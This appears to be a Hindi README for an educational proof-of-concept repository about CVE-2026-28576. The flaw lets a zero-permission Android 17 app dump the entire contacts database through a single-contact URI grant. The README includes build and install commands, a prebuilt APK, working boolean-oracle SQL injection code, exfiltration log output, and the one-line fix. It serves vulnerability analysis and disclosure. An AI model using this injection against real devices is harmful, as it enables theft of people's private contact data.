
शैक्षिक प्रूफ-ऑफ-कॉन्सेप्ट जो Android 17 के Contacts Provider में SQL इंजेक्शन भेद्यता प्रदर्शित करता है, जिससे एक शून्य-अनुमति वाला ऐप एकल-संपर्क URI अनुदान के माध्यम से संपूर्ण संपर्क डेटाबेस को बाहर निकाल सकता है।
एक चुना गया संपर्क, हर संपर्क: एक targetSdk कम्पैट गेट एकल-संपर्क पिकर ग्रांट को पूर्ण कॉन्टैक्ट्स डेटाबेस डंप में बदल देता है।
Android 17 ने कॉन्टैक्ट्स प्रोवाइडर को setStrictColumns() / setStrictGrammar() के साथ SQL इंजेक्शन के खिलाफ हार्डन किया — लेकिन हार्डनिंग को targetSdk-गेटेड कम्पैट चेंज (ENFORCE_STRICT_SQL_CHECKS, id 484953293, enableAfterTargetSdk="36") के पीछे शिप किया। SDK 36 या उससे कम को लक्षित करने वाला कोई भी ऐप साइलेंटली स्ट्रिक्ट चेक्स को स्किप कर देता है, और एकल-संपर्क URI ग्रांट के माध्यम से पूरे कॉन्टैक्ट्स डेटाबेस को पढ़ने के लिए क्वेरी selection में बूलियन-ओरेकल सबक्वेरी छिपा सकता है। कोई READ_CONTACTS नहीं, कोई अनुमति नहीं।
नोट: हमने इस कमजोरी की खोज नहीं की। इस रिपॉजिटरी में हमारा स्वतंत्र विश्लेषण, पुनरुत्पादन, और शैक्षिक PoC शामिल है ताकि सुरक्षा समुदाय को बग क्लास समझने में मदद मिल सके:
@EnabledAfter(targetSdkVersion)के पीछे गेटेड सुरक्षा फिक्स हर लीगेसी-टार्गेट ऐप को कमजोर पथ पर छोड़ देते हैं।
स्क्रीनशॉट और डेमो वीडियो के साथ पूर्ण लेख: SQL इंजेक्शन अभी भी मौजूद है, एंड्रॉइड में भी: एक चुना गया संपर्क, हर संपर्क (CVE-2026-28576)
├── poc/ # PoC एक्सप्लॉइट ऐप (UI + सिस्टम कॉन्टैक्ट पिकर)
│ ├── src/ # MainActivity.java — पिकर + बूलियन-ओरेकल एक्सप्लॉइट
│ ├── AndroidManifest.xml # शून्य अनुमतियाँ, targetSdk 36
│ └── build.sh # ग्रैडल के बिना बिल्ड: aapt2 + javac + d8 + apksigner
├── cve-2026-28576-poc.apk # प्री-बिल्ट PoC APK (डीबग-साइन्ड, इंस्टॉल के लिए तैयार)
├── REPRODUCE.md # पूर्ण चरण-दर-चरण पुनरुत्पादन गाइड
├── evidence-*.log # कैप्चर किए गए कमजोर / पैच किए गए रन
└── README.md
आपको 2026-07-01 से पहले सुरक्षा पैच स्तर वाला Android 17 एमुलेटर चाहिए
(हमने AVD A17-Userdebug, sdk_gphone16k_arm64-userdebug 17 CP31.260623.012,
SPL 2026-07-05 — एक बीटा इमेज जो अभी भी कमजोर कम्पैट गेट रखती है) का उपयोग किया।
emulator -avd A17-Userdebug -writable-system -no-snapshot &
# सत्यापित करें कि पैच स्तर फिक्स से पहले का है
adb shell getprop ro.build.version.security_patch
# कुछ पीड़ित संपर्क डालें (शेल के रूप में, जिसके पास कॉन्टैक्ट्स अनुमतियाँ हैं)
adb shell "content insert --uri content://com.android.contacts/raw_contacts \
--bind account_name:s:[email protected] --bind account_type:s:com.google"
adb shell "content insert --uri content://com.android.contacts/data \
--bind raw_contact_id:i:1 --bind mimetype:s:vnd.android.cursor.item/name \
--bind data1:s:'Alice Victim'"
पूर्ण कॉन्टैक्ट सीडिंग और दोनों रन वेरिएंट के लिए REPRODUCE.md देखें।
adb install cve-2026-28576-poc.apk
adb shell am start -n com.poc.cve202628576/.MainActivity
स्क्रीन पर:
checkUriPermission -> 0) और वह एक संपर्क दिखाता है जिसे देखने की उसे वैध रूप से अनुमति है।Android SDK (build-tools 36.0.0, platform android-37.0) और JDK 17 की आवश्यकता है। कोई ग्रैडल आवश्यक नहीं:
./poc/build.sh # -> poc/build/cve-2026-28576-poc.apk (targetSdk 36, कोई अनुमतियाँ नहीं)
ग्रांट परत ठीक काम करती है। Android 17 का कॉन्टैक्ट पिकर ऐप को ठीक एक संपर्क के लिए रीड-ओनली URI ग्रांट देता है: content://com.android.contacts/contacts/lookup/<key>/1. सीधे कुछ और क्वेरी करने पर SecurityException के साथ मना कर दिया जाता है।
SQL परत ऐसा नहीं करती। क्योंकि PoC SDK 36 को लक्षित करता है, CompatChanges.isChangeEnabled(ENFORCE_STRICT_SQL_CHECKS, callingUid) false लौटाता है और प्रोवाइडर setStrictColumns() / setStrictGrammar() को स्किप कर देता है। हमेशा-चालू setStrict(true) पैरेंथेसिस-रैपिंग केवल क्लॉज ब्रेकआउट जैसे ') OR 1=1 -- को रोकता है; यह संतुलित सबक्वेरी के बारे में कुछ नहीं करता।
बूलियन-ओरेकल इंजेक्शन। ऐप अपनी ग्रांटेड URI के खिलाफ एक सामान्य-दिखने वाली क्वेरी जारी करता है जिसमें selection में एक सबक्वेरी छिपी होती है:
contentResolver.query(grantedUri, new String[]{"_id"},
"1 AND (SELECT substr(data1,3,1) FROM data"
+ " WHERE mimetype_id=(SELECT _id FROM mimetypes"
+ " WHERE mimetype='vnd.android.cursor.item/phone_v2')"
+ " ORDER BY _id LIMIT 1 OFFSET 0)='5'", null, null);
कमजोर Android 17 बिल्ड पर, शून्य-अनुमति ऐप एकल संपर्क के लिए ग्रांट के माध्यम से सभी नाम, फोन नंबर, और ईमेल बाहर निकालता है (evidence-picker-run.log देखें):
What I am ALLOWED to see: Alice Victim (one contact)
VULNERABLE: subquery accepted, dumping contacts DB
EXFILTRATED name #1..3: Alice Victim · Bob Manager · Carol Doctor
EXFILTRATED phone #1..3: +1-555-SECRET-01 · +1-555-777-0002 · +1-555-999-0003
EXFILTRATED email #1..3: [email protected] · ...
फिक्स चेंज 484953293 को targetSdk की परवाह किए बिना सभी कॉलर्स पर लागू करने के लिए फ्लिप करता है — एक एकल हटाई गई एनोटेशन (सार्वजनिक वेरिएंट: GrapheneOS कमिट c4129a1c):
@ChangeId
- @EnabledAfter(targetSdkVersion = Build.VERSION_CODES.BAKLAVA)
public static final long ENFORCE_STRICT_SQL_CHECKS = 484953293L;
आप बिना कुछ फ्लैश किए कमजोर बिल्ड पर सटीक पैच किया गया व्यवहार पुनरुत्पादित कर सकते हैं:
adb shell am compat enable 484953293 com.poc.cve202628576
# Same query now dies before reaching SQLite:
# IllegalArgumentException: Invalid token SELECT
evidence-patched-run.log देखें।
विश्लेषण और PoC Mobile Hacking Lab द्वारा। हमने इस कमजोरी को शैक्षिक उद्देश्यों के लिए स्वतंत्र रूप से पुनरुत्पादित किया।
यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग केवल उन डिवाइसों और वातावरणों पर करें जिनके आप मालिक हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हैं।
| CVE | CVE-2026-28576 (GHSA-ph86-9mcx-3p6r) |
| गंभीरता | बुलेटिन में उच्च; GitHub का एडवाइजरी इसे CVSS v4 10.0 (क्रिटिकल) स्कोर करता है — पूर्वशर्तों को देखते हुए तर्कसंगत रूप से उच्च |
| घटक | कॉन्टैक्ट्स प्रोवाइडर (ContactsProvider2.queryLocal()) |
| मूल कारण | ENFORCE_STRICT_SQL_CHECKS कम्पैट चेंज @EnabledAfter(BAKLAVA) के पीछे गेटेड |
| प्रभाव | एकल-संपर्क URI ग्रांट वाला कोई भी ऐप READ_CONTACTS के बिना पूरा कॉन्टैक्ट्स डेटाबेस पढ़ता है |
| प्रभावित | Android 17, सुरक्षा पैच स्तर < 2026-07-01 |
| पैच किया गया | Android 17 सुरक्षा बुलेटिन |
यदि अनुमानित वर्ण मेल खाता है, तो ग्रांटेड पंक्ति वापस आती है (cursor.getCount() == 1); अन्यथा कर्सर खाली होता है। प्रति वर्ण अनुमान एक क्वेरी, हर पंक्ति और mimetype के लिए LIMIT 1 OFFSET k पर पुनरावृत्त — एक फोन नंबर एक सेकंड से भी कम में गिर जाता है, और पूरा डेटाबेस एक मिनट से काफी कम में।